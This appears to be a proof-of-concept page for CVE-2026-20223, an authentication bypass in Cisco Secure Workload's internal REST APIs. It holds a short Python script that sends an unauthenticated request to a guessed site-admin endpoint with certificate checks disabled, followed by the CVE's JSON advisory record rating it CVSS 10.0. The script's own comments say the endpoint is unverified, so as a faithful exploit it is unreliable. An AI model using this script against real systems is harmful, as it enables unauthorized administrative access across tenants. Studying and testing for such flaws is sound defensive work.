CVE-2026-20223

import requests def exploit_cve_2026_20223(target_url): """ PoC for CVE-2026-20223: Cisco Secure Workload Authentication Bypass. This script attempts to access internal API endpoints without authentication. """ headers = { # Vulnerability implies lack of validation, so we might send specific headers # or simply omit authentication headers to test for bypass. "User-Agent": "CVE-2026-20223-Scanner" } # Example endpoint that might be vulnerable (needs verification) endpoint = f"{target_url}/api/v1/internal/site_admin" try: print(f"[*] Attempting to access {endpoint} without authentication...") response = requests.get(endpoint, headers=headers, verify=False, timeout=10) if response.status_code == 200: print("[+] Potential exploit successful! Response received:") print(response.text[:200]) # Print first 200 chars else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] An error occurred: {e}") if __name__ == "__main__": # Replace with actual target IP/Hostname target = "https://<target-ip>" exploit_cve_2026_20223(target)

{"cve": {"id": "CVE-2026-20223", "sourceIdentifier": "[email protected]", "published": "2026-05-20T17:16:20.400", "lastModified": "2026-05-20T17:30:40.450", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability in the&nbsp;access validation of internal REST APIs of Cisco Secure Workload could allow an unauthenticated, remote attacker to access site resources with the privileges of the&nbsp;Site Admin role.\r\n\r\nThis vulnerability is due to insufficient validation and authentication when accessing REST API endpoints. An attacker could exploit this vulnerability if they are able to send a crafted API request to an affected endpoint. A successful exploit could allow the attacker to read sensitive information and make configuration changes across tenant boundaries with the privileges of the&nbsp;Site Admin user.&nbsp;"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "baseScore": 10.0, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-306"}]}], "references": [{"url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-csw-pnbsa-g8WEnuy", "source": "[email protected]"}]}}